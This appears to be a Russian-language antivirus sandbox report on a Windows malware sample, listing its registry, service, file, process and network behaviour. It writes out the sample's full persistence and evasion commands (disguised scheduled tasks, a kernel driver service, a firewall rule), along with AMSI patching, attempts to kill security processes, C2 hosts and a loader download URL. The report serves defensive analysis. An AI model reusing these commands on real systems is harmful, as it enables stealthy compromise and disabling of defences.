Техническая информация
Для обеспечения автозапуска и распространения
Модифицирует следующие ключи реестра
- [HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\winlogon] 'Userinit' = '<SYSTEM32>\userinit.exe,%WINDIR%\INF\.NETFramework\CORPerfMonSymbols.exe'
Создает или изменяет следующие файлы
- <SYSTEM32>\tasks\launch adobe ccxprocess
- <SYSTEM32>\tasks\xccprocess
- <SYSTEM32>\tasks\microsoft\windows\windows update listner
- <SYSTEM32>\tasks\microsoft\microsoft launcher
Устанавливает следующие настройки сервисов
- [HKLM\SYSTEM\CurrentControlSet\Services\aswArPot.sys] 'ImagePath' = '%WINDIR%\temp\aswArPot.bin'
- [HKLM\SYSTEM\CurrentControlSet\Services\System Diagnostics Host] 'Start' = '00000002'
- [HKLM\SYSTEM\CurrentControlSet\Services\System Diagnostics Host] 'ImagePath' = '%WINDIR%\SysWOW64\SystemDiagnosticsHost.exe'
Создает следующие сервисы
- 'aswArPot.sys' %WINDIR%\temp\aswArPot.bin
- 'System Diagnostics Host' %WINDIR%\SysWOW64\SystemDiagnosticsHost.exe
Вредоносные функции
Запускает на исполнение
- '<SYSTEM32>\netsh.exe' advfirewall firewall add rule name="XCCProcess" dir=in action=allow program="%WINDIR%\Media\mppr.exe" enable=yes
Запускает большое число процессов
Внедряет код в
следующие системные процессы:
- %WINDIR%\explorer.exe
- %WINDIR%\microsoft.net\framework\v4.0.30319\aspnet_compiler.exe
Патчит код
в динамической библиотеке AMSI
- Процесс dxxgknuh.exe, модуль Amsi.dll
- Процесс mppr.exe, модуль Amsi.dll
в динамической библиотеке NTDLL
- Процесс dxxgknuh.exe, модуль ntdll.dll
- Процесс mppr.exe, модуль ntdll.dll
Завершает или пытается завершить
следующие системные процессы:
- <SYSTEM32>\securityhealthsystray.exe
- <SYSTEM32>\securityhealthservice.exe
Изменения в файловой системе
Создает следующие файлы
- %WINDIR%\media\mppr.exe
- %WINDIR%\inputmethod\shared\rc_connectedaccount.exe
- %TEMP%\2u2afloz\2u2afloz.0.cs
- %TEMP%\2u2afloz\2u2afloz.cmdline
- %TEMP%\2u2afloz\2u2afloz.out
- %TEMP%\csccedf21fc399e48168bf65154a3d7089.tmp
- %TEMP%\res9d4.tmp
- %TEMP%\tmp6d6.tmp
- %WINDIR%\inf\.netframework\corperfmonsymbols.exe
- %TEMP%\4wwi3fwn\4wwi3fwn.0.cs
- %TEMP%\4wwi3fwn\4wwi3fwn.cmdline
- %TEMP%\4wwi3fwn\4wwi3fwn.out
- %TEMP%\csc24a05a4dbb474f02ad184cfc8dfccd3b.tmp
- %TEMP%\resd20.tmp
- %TEMP%\tmpadf.tmp
- %WINDIR%\inf\usbhub\usbperfsym.exe
- %WINDIR%\syswow64\systemdiagnosticshost.exe
- %WINDIR%\media\msldriver.dll
- %WINDIR%\temp\aswarpot.bin
- C:\recovery\oem\resetconfig.xml
- C:\recovery\oem\806d32e1-ae98-48df-97e7-cded3d15c1f8.bat
- C:\recovery\oem\0773c35a-f91b-4a8d-88ce-aca0cc012993.exe
- %TEMP%\jpokyknw.e2i.bat
- nul
- %LOCALAPPDATA%\microsoft\clr_v4.0\usagelogs\<Имя файла>.exe.log
- %TEMP%\tmp7501.tmp
- %TEMP%\tmp7541.tmp
- %ALLUSERSPROFILE%\microsoft\windows security health\logs\shs-02252026-180635-7-7f-19041.1.amd64fre.vb_release.191206-1406.etl
Присваивает атрибут 'скрытый' для следующих файлов
- %WINDIR%\media\mppr.exe
- %WINDIR%\inputmethod\shared\rc_connectedaccount.exe
- %WINDIR%\inf\.netframework\corperfmonsymbols.exe
- %WINDIR%\inf\usbhub\usbperfsym.exe
- %WINDIR%\syswow64\systemdiagnosticshost.exe
- %WINDIR%\media\msldriver.dll
Удаляет файлы, которые сам же создал
- %TEMP%\res9d4.tmp
- %TEMP%\csccedf21fc399e48168bf65154a3d7089.tmp
- %TEMP%\2u2afloz\2u2afloz.cmdline
- %TEMP%\2u2afloz\2u2afloz.out
- %TEMP%\2u2afloz\2u2afloz.0.cs
- %TEMP%\tmp6d6.tmp
- %TEMP%\resd20.tmp
- %TEMP%\csc24a05a4dbb474f02ad184cfc8dfccd3b.tmp
- %TEMP%\4wwi3fwn\4wwi3fwn.out
- %TEMP%\4wwi3fwn\4wwi3fwn.cmdline
- %TEMP%\4wwi3fwn\4wwi3fwn.0.cs
- %TEMP%\tmpadf.tmp
- %TEMP%\tmp7501.tmp
- %TEMP%\tmp7541.tmp
Сетевая активность
Подключается к
- 'vv######gyuigi2.hopto.org':443
- 'vv######gyuigi2.hopto.org':80
- 'vv######gyuigi2.hopto.org':6062
- 'vv######gyuigi2.hopto.org':5555
TCP
Запросы HTTP GET
- http://31.##.208.135/files/loader/cvmegafull.exe
Другие
- 'vv######gyuigi2.hopto.org':443
- 'vv######gyuigi2.hopto.org':6062
UDP
- DNS ASK ww#######yui3s1.3utilities.com
- DNS ASK 2n####9sk4l2o91.top
- DNS ASK kq########ph2l9.freedynamicdns.org
- DNS ASK 2q######kwl4qe1.myftp.org
- DNS ASK 2q#######f22qe1.3utilities.com
- DNS ASK xq####fnqtwe81v.top
- DNS ASK 2q######kwl4qe1.webhop.me
- DNS ASK 29####jsel2h4tv.top
- DNS ASK vq######nzqtqe1.myftp.org
- DNS ASK vq######nzqtqe1.hopto.org
- DNS ASK 2y######ht8iqlo.gotdns.ch
- DNS ASK kq####j2qtph2l9.cc
- DNS ASK 2q####fskwl4qe1.top
- DNS ASK 7x#######n5sjr3.3utilities.com
- DNS ASK 2n#######4l2o91.bounceme.net
- DNS ASK mq######9dlqt91.gotdns.ch
- DNS ASK vv######gyuigi2.hopto.org
Другое
Создает и запускает на исполнение
- '%WINDIR%\syswow64\systemdiagnosticshost.exe'
- '%WINDIR%\media\mppr.exe'
Запускает на исполнение
- '%WINDIR%\microsoft.net\framework64\v4.0.30319\csc.exe' /noconfig /fullpaths @"%TEMP%\2u2afloz\2u2afloz.cmdline" (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v4.0.30319\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES9D4.tmp" "%TEMP%\CSCCEDF21FC399E48168BF65154A3D7089.TMP" (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v4.0.30319\csc.exe' /noconfig /fullpaths @"%TEMP%\4wwi3fwn\4wwi3fwn.cmdline" (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v4.0.30319\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESD20.tmp" "%TEMP%\CSC24A05A4DBB474F02AD184CFC8DFCCD3B.TMP" (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c sc.exe create aswArPot.sys binPath= %WINDIR%\temp\aswArPot.bin type= kernel & exit
- '<SYSTEM32>\sc.exe' create aswArPot.sys binPath= %WINDIR%\temp\aswArPot.bin type= kernel
- '<SYSTEM32>\cmd.exe' /c sc.exe start aswArPot.sys & exit
- '<SYSTEM32>\sc.exe' start aswArPot.sys
- '<SYSTEM32>\cmd.exe' /c schtasks /create /f /rl highest /tn "Launch Adobe CCXProcess" /tr "%WINDIR%\Media\mppr.exe" /sc onlogon & exit
- '<SYSTEM32>\schtasks.exe' /create /f /rl highest /tn "Launch Adobe CCXProcess" /tr "%WINDIR%\Media\mppr.exe" /sc onlogon
- '<SYSTEM32>\cmd.exe' /c schtasks /create /f /rl highest /tn "XCCProcess" /tr "%WINDIR%\INF\usbhub\usbperfsym.exe" /sc onlogon & exit
- '<SYSTEM32>\schtasks.exe' /create /f /rl highest /tn "XCCProcess" /tr "%WINDIR%\INF\usbhub\usbperfsym.exe" /sc onlogon
- '<SYSTEM32>\cmd.exe' /c schtasks /create /f /sc minute /rl highest /mo 2 /tn "Microsoft\Windows\Windows Update Listner" /tr "%WINDIR%\Media\mppr.exe" & exit
- '<SYSTEM32>\schtasks.exe' /create /f /sc minute /rl highest /mo 2 /tn "Microsoft\Windows\Windows Update Listner" /tr "%WINDIR%\Media\mppr.exe"
- '<SYSTEM32>\cmd.exe' /c schtasks /create /f /sc minute /rl highest /mo 5 /tn "Microsoft\Microsoft Launcher" /tr "%WINDIR%\InputMethod\SHARED\RC_ConnectedAccount.exe" & exit
- '<SYSTEM32>\schtasks.exe' /create /f /sc minute /rl highest /mo 5 /tn "Microsoft\Microsoft Launcher" /tr "%WINDIR%\InputMethod\SHARED\RC_ConnectedAccount.exe"
- '<SYSTEM32>\cmd.exe' /c sc query "System Diagnostics Host" & exit
- '<SYSTEM32>\sc.exe' query "System Diagnostics Host"
- '<SYSTEM32>\cmd.exe' /c sc create "System Diagnostics Host" binPath= "%WINDIR%\SysWOW64\SystemDiagnosticsHost.exe" obj= "LocalSystem" start= auto & exit
- '<SYSTEM32>\sc.exe' create "System Diagnostics Host" binPath= "%WINDIR%\SysWOW64\SystemDiagnosticsHost.exe" obj= "LocalSystem" start= auto
- '<SYSTEM32>\cmd.exe' /c sc description "System Diagnostics Host" "Monitors and manages system diagnostic tasks." & exit
- '<SYSTEM32>\sc.exe' description "System Diagnostics Host" "Monitors and manages system diagnostic tasks."
- '<SYSTEM32>\cmd.exe' /c sc start "System Diagnostics Host" & exit
- '<SYSTEM32>\sc.exe' start "System Diagnostics Host"
- '<SYSTEM32>\cmd.exe' /c netsh advfirewall firewall show rule name="XCCProcess" & exit
- '<SYSTEM32>\netsh.exe' advfirewall firewall show rule name="XCCProcess"
- '<SYSTEM32>\cmd.exe' /c netsh advfirewall firewall add rule name="XCCProcess" dir=in action=allow program="%WINDIR%\Media\mppr.exe" enable=yes & exit
- '<SYSTEM32>\cmd.exe' /c ""%TEMP%\jpokyknw.e2i.bat""
- '<SYSTEM32>\timeout.exe' 8
- '%WINDIR%\microsoft.net\framework\v4.0.30319\aspnet_compiler.exe'
- '<SYSTEM32>\securityhealthservice.exe'
